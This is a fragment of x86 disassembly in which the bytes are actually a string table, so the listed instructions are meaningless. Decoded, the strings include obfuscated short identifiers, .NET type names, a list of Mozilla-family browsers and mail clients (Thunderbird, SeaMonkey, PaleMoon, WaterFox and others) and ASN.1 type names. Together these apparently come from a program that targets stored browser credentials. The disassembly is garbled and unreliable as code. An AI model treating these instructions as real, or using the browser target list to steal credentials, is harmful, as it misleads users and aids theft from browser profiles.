444d2a:	6c                   	insb   (%dx),%es:(%edi)
444d2b:	00 71 63             	add    %dh,0x63(%ecx)
444d2e:	62 00                	bound  %eax,(%eax)
444d30:	71 63                	jno    0x444d95
444d32:	68 00 71 63 78       	push   $0x78637100
444d37:	00 71 6a             	add    %dh,0x6a(%ecx)
444d3a:	6f                   	outsl  %ds:(%esi),(%dx)
444d3b:	00 71 6a             	add    %dh,0x6a(%ecx)
444d3e:	62 00                	bound  %eax,(%eax)
444d40:	71 62                	jno    0x444da4
444d42:	78 00                	js     0x444d44
444d44:	71 61                	jno    0x444da7
444d46:	67 00 70 77          	add    %dh,0x77(%bx,%si)
444d4a:	76 00                	jbe    0x444d4c
444d4c:	70 77                	jo     0x444dc5
444d4e:	6e                   	outsb  %ds:(%esi),(%dx)
444d4f:	00 70 77             	add    %dh,0x77(%eax)
444d52:	6d                   	insl   (%dx),%es:(%edi)
444d53:	00 70 73             	add    %dh,0x73(%eax)
444d56:	76 00                	jbe    0x444d58
444d58:	70 73                	jo     0x444dcd
444d5a:	6e                   	outsb  %ds:(%esi),(%dx)
444d5b:	00 70 73             	add    %dh,0x73(%eax)
444d5e:	61                   	popa
444d5f:	00 70 73             	add    %dh,0x73(%eax)
444d62:	67 00 70 73          	add    %dh,0x73(%bx,%si)
444d66:	78 00                	js     0x444d68
444d68:	70 65                	jo     0x444dcf
444d6a:	61                   	popa
444d6b:	00 70 65             	add    %dh,0x65(%eax)
444d6e:	67 00 70 76          	add    %dh,0x76(%bx,%si)
444d72:	79 00                	jns    0x444d74
444d74:	70 76                	jo     0x444dec
444d76:	64 00 70 76          	add    %dh,%fs:0x76(%eax)
444d7a:	63 00                	arpl   %eax,(%eax)
444d7c:	6b 66 64 00          	imul   $0x0,0x64(%esi),%esp
444d80:	44                   	inc    %esp
444d81:	69 63 74 69 6f 6e 61 	imul   $0x616e6f69,0x74(%ebx),%esp
444d88:	72 79                	jb     0x444e03
444d8a:	60                   	pusha
444d8b:	32 00                	xor    (%eax),%al
444d8d:	6b 66 63 00          	imul   $0x0,0x63(%esi),%esp
444d91:	6b 66 6a 00          	imul   $0x0,0x6a(%esi),%esp
444d95:	6b 66 67 00          	imul   $0x0,0x67(%esi),%esp
444d99:	6b 66 68 00          	imul   $0x0,0x68(%esi),%esp
444d9d:	70 6e                	jo     0x444e0d
444d9f:	79 00                	jns    0x444da1
444da1:	70 64                	jo     0x444e07
444da3:	62 00                	bound  %eax,(%eax)
444da5:	70 6e                	jo     0x444e15
444da7:	64 00 70 6e          	add    %dh,%fs:0x6e(%eax)
444dab:	63 00                	arpl   %eax,(%eax)
444dad:	70 6d                	jo     0x444e1c
444daf:	6a 00                	push   $0x0
444db1:	70 6d                	jo     0x444e20
444db3:	6f                   	outsl  %ds:(%esi),(%dx)
444db4:	00 70 6d             	add    %dh,0x6d(%eax)
444db7:	61                   	popa
444db8:	00 70 6d             	add    %dh,0x6d(%eax)
444dbb:	67 00 70 6d          	add    %dh,0x6d(%bx,%si)
444dbf:	68 00 70 6d 78       	push   $0x786d7000
444dc4:	00 70 79             	add    %dh,0x79(%eax)
444dc7:	6f                   	outsl  %ds:(%esi),(%dx)
444dc8:	00 70 79             	add    %dh,0x79(%eax)
444dcb:	6c                   	insb   (%dx),%es:(%edi)
444dcc:	00 70 79             	add    %dh,0x79(%eax)
444dcf:	62 00                	bound  %eax,(%eax)
444dd1:	70 79                	jo     0x444e4c
444dd3:	61                   	popa
444dd4:	00 70 79             	add    %dh,0x79(%eax)
444dd7:	67 00 70 64          	add    %dh,0x64(%bx,%si)
444ddb:	63 00                	arpl   %eax,(%eax)
444ddd:	70 64                	jo     0x444e43
444ddf:	6a 00                	push   $0x0
444de1:	70 64                	jo     0x444e47
444de3:	6f                   	outsl  %ds:(%esi),(%dx)
444de4:	00 70 64             	add    %dh,0x64(%eax)
444de7:	61                   	popa
444de8:	00 70 64             	add    %dh,0x64(%eax)
444deb:	67 00 70 64          	add    %dh,0x64(%bx,%si)
444def:	68 00 70 63 62       	push   $0x62637000
444df4:	00 70 63             	add    %dh,0x63(%eax)
444df7:	61                   	popa
444df8:	00 70 63             	add    %dh,0x63(%eax)
444dfb:	67 00 70 63          	add    %dh,0x63(%bx,%si)
444dff:	68 00 70 61 67       	push   $0x67617000
444e04:	00 70 61             	add    %dh,0x61(%eax)
444e07:	68 00 4d 6f 7a       	push   $0x7a6f4d00
444e0c:	69 6c 6c 61 00 50 6f 	imul   $0x736f5000,0x61(%esp,%ebp,2),%ebp
444e13:	73
444e14:	74 62                	je     0x444e78
444e16:	6f                   	outsl  %ds:(%esi),(%dx)
444e17:	78 00                	js     0x444e19
444e19:	54                   	push   %esp
444e1a:	68 75 6e 64 65       	push   $0x65646e75
444e1f:	72 62                	jb     0x444e83
444e21:	69 72 64 00 53 65 61 	imul   $0x61655300,0x64(%edx),%esi
444e28:	4d                   	dec    %ebp
444e29:	6f                   	outsl  %ds:(%esi),(%dx)
444e2a:	6e                   	outsb  %ds:(%esi),(%dx)
444e2b:	6b 65 79 00          	imul   $0x0,0x79(%ebp),%esp
444e2f:	46                   	inc    %esi
444e30:	6c                   	insb   (%dx),%es:(%edi)
444e31:	6f                   	outsl  %ds:(%esi),(%dx)
444e32:	63 6b 00             	arpl   %ebp,0x0(%ebx)
444e35:	42                   	inc    %edx
444e36:	6c                   	insb   (%dx),%es:(%edi)
444e37:	61                   	popa
444e38:	63 6b 48             	arpl   %ebp,0x48(%ebx)
444e3b:	61                   	popa
444e3c:	77 6b                	ja     0x444ea9
444e3e:	00 43 79             	add    %al,0x79(%ebx)
444e41:	62 65 72             	bound  %esp,0x72(%ebp)
444e44:	46                   	inc    %esi
444e45:	6f                   	outsl  %ds:(%esi),(%dx)
444e46:	78 00                	js     0x444e48
444e48:	4b                   	dec    %ebx
444e49:	4d                   	dec    %ebp
444e4a:	65 6c                	gs insb (%dx),%es:(%edi)
444e4c:	65 6f                	outsl  %gs:(%esi),(%dx)
444e4e:	6e                   	outsb  %ds:(%esi),(%dx)
444e4f:	00 49 63             	add    %cl,0x63(%ecx)
444e52:	65 43                	gs inc %ebx
444e54:	61                   	popa
444e55:	74 00                	je     0x444e57
444e57:	50                   	push   %eax
444e58:	61                   	popa
444e59:	6c                   	insb   (%dx),%es:(%edi)
444e5a:	65 4d                	gs dec %ebp
444e5c:	6f                   	outsl  %ds:(%esi),(%dx)
444e5d:	6f                   	outsl  %ds:(%esi),(%dx)
444e5e:	6e                   	outsb  %ds:(%esi),(%dx)
444e5f:	00 49 63             	add    %cl,0x63(%ecx)
444e62:	65 44                	gs inc %esp
444e64:	72 61                	jb     0x444ec7
444e66:	67 6f                	outsl  %ds:(%si),(%dx)
444e68:	6e                   	outsb  %ds:(%esi),(%dx)
444e69:	00 57 61             	add    %dl,0x61(%edi)
444e6c:	74 65                	je     0x444ed3
444e6e:	72 46                	jb     0x444eb6
444e70:	6f                   	outsl  %ds:(%esi),(%dx)
444e71:	78 00                	js     0x444e73
444e73:	73 62                	jae    0x444ed7
444e75:	68 00 70 61 78       	push   $0x78617000
444e7a:	00 5f 56             	add    %bl,0x56(%edi)
444e7d:	65 72 73             	gs jb  0x444ef3
444e80:	69 6f 6e 00 5f 4b 65 	imul   $0x654b5f00,0x6e(%edi),%ebp
444e87:	79 73                	jns    0x444efc
444e89:	00 4b 65             	add    %cl,0x65(%ebx)
444e8c:	79 56                	jns    0x444ee4
444e8e:	61                   	popa
444e8f:	6c                   	insb   (%dx),%es:(%edi)
444e90:	75 65                	jne    0x444ef7
444e92:	50                   	push   %eax
444e93:	61                   	popa
444e94:	69 72 60 32 00 67 65 	imul   $0x65670032,0x60(%edx),%esi
444e9b:	74 5f                	je     0x444efc
444e9d:	56                   	push   %esi
444e9e:	65 72 73             	gs jb  0x444f14
444ea1:	69 6f 6e 00 73 65 74 	imul   $0x74657300,0x6e(%edi),%ebp
444ea8:	5f                   	pop    %edi
444ea9:	56                   	push   %esi
444eaa:	65 72 73             	gs jb  0x444f20
444ead:	69 6f 6e 00 67 65 74 	imul   $0x74656700,0x6e(%edi),%ebp
444eb4:	5f                   	pop    %edi
444eb5:	4b                   	dec    %ebx
444eb6:	65 79 73             	gs jns 0x444f2c
444eb9:	00 73 65             	add    %dh,0x65(%ebx)
444ebc:	74 5f                	je     0x444f1d
444ebe:	4b                   	dec    %ebx
444ebf:	65 79 73             	gs jns 0x444f35
444ec2:	00 46 69             	add    %al,0x69(%esi)
444ec5:	6c                   	insb   (%dx),%es:(%edi)
444ec6:	65 4e                	gs dec %esi
444ec8:	61                   	popa
444ec9:	6d                   	insl   (%dx),%es:(%edi)
444eca:	65 00 70 67          	add    %dh,%gs:0x67(%eax)
444ece:	68 00 70 67 78       	push   $0x78677000
444ed3:	00 70 68             	add    %dh,0x68(%eax)
444ed6:	78 00                	js     0x444ed8
444ed8:	77 73                	ja     0x444f4d
444eda:	65 00 77 73          	add    %dh,%gs:0x73(%edi)
444ede:	76 00                	jbe    0x444ee0
444ee0:	77 73                	ja     0x444f55
444ee2:	6a 00                	push   $0x0
444ee4:	77 73                	ja     0x444f59
444ee6:	6f                   	outsl  %ds:(%esi),(%dx)
444ee7:	00 77 73             	add    %dh,0x73(%edi)
444eea:	62 00                	bound  %eax,(%eax)
444eec:	77 73                	ja     0x444f61
444eee:	61                   	popa
444eef:	00 77 73             	add    %dh,0x73(%edi)
444ef2:	68 00 77 73 78       	push   $0x78737700
444ef7:	00 77 65             	add    %dh,0x65(%edi)
444efa:	76 00                	jbe    0x444efc
444efc:	77 73                	ja     0x444f71
444efe:	67 00 53 65          	add    %dl,0x65(%bp,%di)
444f02:	71 75                	jno    0x444f79
444f04:	65 6e                	outsb  %gs:(%esi),(%dx)
444f06:	63 65 00             	arpl   %esp,0x0(%ebp)
444f09:	49                   	dec    %ecx
444f0a:	6e                   	outsb  %ds:(%esi),(%dx)
444f0b:	74 65                	je     0x444f72
444f0d:	67 65 72 00          	addr16 gs jb 0x444f11
444f11:	42                   	inc    %edx
444f12:	69 74 53 74 72 69 6e 	imul   $0x676e6972,0x74(%ebx,%edx,2),%esi
444f19:	67
444f1a:	00 4f 63             	add    %cl,0x63(%edi)
444f1d:	74 65                	je     0x444f84
444f1f:	74 53                	je     0x444f74
444f21:	74 72                	je     0x444f95
444f23:	69 6e 67 00 4e 75 6c 	imul   $0x6c754e00,0x67(%esi),%ebp
444f2a:	6c                   	insb   (%dx),%es:(%edi)
444f2b:	00 4f 62             	add    %cl,0x62(%edi)
444f2e:	6a 65                	push   $0x65
444f30:	63 74 49 64          	arpl   %esi,0x64(%ecx,%ecx,2)
444f34:	65 6e                	outsb  %gs:(%esi),(%dx)
444f36:	74 69                	je     0x444fa1
444f38:	66 69 65 72 00 77    	imul   $0x7700,0x72(%ebp),%sp
444f3e:	65 68 00 5f 54 79    	gs push $0x79545f00
444f44:	70 65                	jo     0x444fab
444f46:	00 5f 4c             	add    %bl,0x4c(%edi)
444f49:	65 6e                	outsb  %gs:(%esi),(%dx)
444f4b:	67 68 74 00 5f 6f    	addr16 push $0x6f5f0074
444f51:	62 6a 65             	bound  %ebp,0x65(%edx)
444f54:	63 74 73 00          	arpl   %esi,0x0(%ebx,%esi,2)
444f58:	5f                   	pop    %edi
444f59:	44                   	inc    %esp
444f5a:	61                   	popa
444f5b:	74 61                	je     0x444fbe
444f5d:	00 67 65             	add    %ah,0x65(%edi)
444f60:	74 5f                	je     0x444fc1
444f62:	54                   	push   %esp
444f63:	79 70                	jns    0x444fd5
444f65:	65 00 73 65          	add    %dh,%gs:0x65(%ebx)
444f69:	74 5f                	je     0x444fca
444f6b:	54                   	push   %esp
444f6c:	79 70                	jns    0x444fde
444f6e:	65 00 67 65          	add    %ah,%gs:0x65(%edi)
444f72:	74 5f                	je     0x444fd3
444f74:	4c                   	dec    %esp
444f75:	65 6e                	outsb  %gs:(%esi),(%dx)
444f77:	67 68 74 00 73 65    	addr16 push $0x65730074
444f7d:	74 5f                	je     0x444fde
444f7f:	4c                   	dec    %esp
444f80:	65 6e                	outsb  %gs:(%esi),(%dx)
444f82:	67 68 74 00 67 65    	addr16 push $0x65670074
444f88:	74 5f                	je     0x444fe9
444f8a:	6f                   	outsl  %ds:(%esi),(%dx)
444f8b:	62 6a 65             	bound  %ebp,0x65(%edx)
444f8e:	63 74 73 00          	arpl   %esi,0x0(%ebx,%esi,2)
444f92:	73 65                	jae    0x444ff9
444f94:	74 5f                	je     0x444ff5
444f96:	6f                   	outsl  %ds:(%esi),(%dx)
444f97:	62 6a 65             	bound  %ebp,0x65(%edx)
444f9a:	63 74 73 00          	arpl   %esi,0x0(%ebx,%esi,2)
444f9e:	67 65 74 5f          	addr16 gs je 0x445001
444fa2:	44                   	inc    %esp
444fa3:	61                   	popa
444fa4:	74 61                	je     0x445007
444fa6:	00 73 65             	add    %dh,0x65(%ebx)
444fa9:	74 5f                	je     0x44500a
444fab:	44                   	inc    %esp
444fac:	61                   	popa
444fad:	74 61                	je     0x445010
444faf:	00 77 65             	add    %dh,0x65(%edi)
444fb2:	78 00                	js     0x444fb4
444fb4:	77 6e                	ja     0x445024
444fb6:	64 00 77 6e          	add    %dh,%fs:0x6e(%edi)
444fba:	63 00                	arpl   %eax,(%eax)
444fbc:	77 6e                	ja     0x44502c
444fbe:	6a 00                	push   $0x0
444fc0:	77 6e                	ja     0x445030
444fc2:	6f                   	outsl  %ds:(%esi),(%dx)
444fc3:	00 77 6e             	add    %dh,0x6e(%edi)
444fc6:	6c                   	insb   (%dx),%es:(%edi)
444fc7:	00 73 64             	add    %dh,0x64(%ebx)
444fca:	63 00                	arpl   %eax,(%eax)
444fcc:	77 6e                	ja     0x44503c
444fce:	62 00                	bound  %eax,(%eax)
444fd0:	77 6e                	ja     0x445040
444fd2:	61                   	popa
444fd3:	00 77 6d             	add    %dh,0x6d(%edi)
444fd6:	63 00                	arpl   %eax,(%eax)
444fd8:	77 6d                	ja     0x445047
444fda:	6a 00                	push   $0x0
444fdc:	77 6d                	ja     0x44504b
444fde:	6f                   	outsl  %ds:(%esi),(%dx)
444fdf:	00 77 6d             	add    %dh,0x6d(%edi)
444fe2:	61                   	popa
444fe3:	00 77 6d             	add    %dh,0x6d(%edi)
444fe6:	67 00 77 79          	add    %dh,0x79(%bx)
444fea:	64 00 77 79          	add    %dh,%fs:0x79(%edi)
444fee:	63 00                	arpl   %eax,(%eax)
444ff0:	77 79                	ja     0x44506b
444ff2:	6a 00                	push   $0x0
444ff4:	77 79                	ja     0x44506f
444ff6:	62 00                	bound  %eax,(%eax)
444ff8:	77 79                	ja     0x445073
444ffa:	61                   	popa
444ffb:	00 77 79             	add    %dh,0x79(%edi)
444ffe:	67 00 77 79          	add    %dh,0x79(%bx)
445002:	68 00 77 79 78       	push   $0x78797700
445007:	00 77 63             	add    %dh,0x63(%edi)
44500a:	6c                   	insb   (%dx),%es:(%edi)
44500b:	00 77 63             	add    %dh,0x63(%edi)
44500e:	62 00                	bound  %eax,(%eax)
445010:	73 65                	jae    0x445077
445012:	76 00                	jbe    0x445014
445014:	73 65                	jae    0x44507b
445016:	6e                   	outsb  %ds:(%esi),(%dx)
445017:	00 73 65             	add    %dh,0x65(%ebx)
44501a:	6f                   	outsl  %ds:(%esi),(%dx)
44501b:	00 73 65             	add    %dh,0x65(%ebx)
44501e:	6c                   	insb   (%dx),%es:(%edi)
44501f:	00 73 65             	add    %dh,0x65(%ebx)
445022:	62 00                	bound  %eax,(%eax)
445024:	73 6e                	jae    0x445094
445026:	6c                   	insb   (%dx),%es:(%edi)
445027:	00 73 6e             	add    %dh,0x6e(%ebx)
44502a:	62 00                	bound  %eax,(%eax)
44502c:	73 6e                	jae    0x44509c
44502e:	61                   	popa
44502f:	00 73 64             	add    %dh,0x64(%ebx)
445032:	6a 00                	push   $0x0
445034:	73 64                	jae    0x44509a
445036:	6f                   	outsl  %ds:(%esi),(%dx)
445037:	00 73 64             	add    %dh,0x64(%ebx)
44503a:	6c                   	insb   (%dx),%es:(%edi)
44503b:	00 73 64             	add    %dh,0x64(%ebx)
44503e:	62 00                	bound  %eax,(%eax)
445040:	73 64                	jae    0x4450a6
445042:	61                   	popa
445043:	00 73 63             	add    %dh,0x63(%ebx)
445046:	68 00 73 63 78       	push   $0x78637300
44504b:	00 73 6a             	add    %dh,0x6a(%ebx)
44504e:	6f                   	outsl  %ds:(%esi),(%dx)
44504f:	00 73 6a             	add    %dh,0x6a(%ebx)
445052:	6c                   	insb   (%dx),%es:(%edi)
445053:	00 73 6f             	add    %dh,0x6f(%ebx)
445056:	61                   	popa
445057:	00 73 6f             	add    %dh,0x6f(%ebx)
44505a:	67 00 73 6f          	add    %dh,0x6f(%bp,%di)
44505e:	68 00 73 6f 78       	push   $0x786f7300
445063:	00 73 67             	add    %dh,0x67(%ebx)
445066:	78 00                	js     0x445068
445068:	73 68                	jae    0x4450d2
44506a:	78 00                	js     0x44506c
44506c:	47                   	inc    %edi
44506d:	75 69                	jne    0x4450d8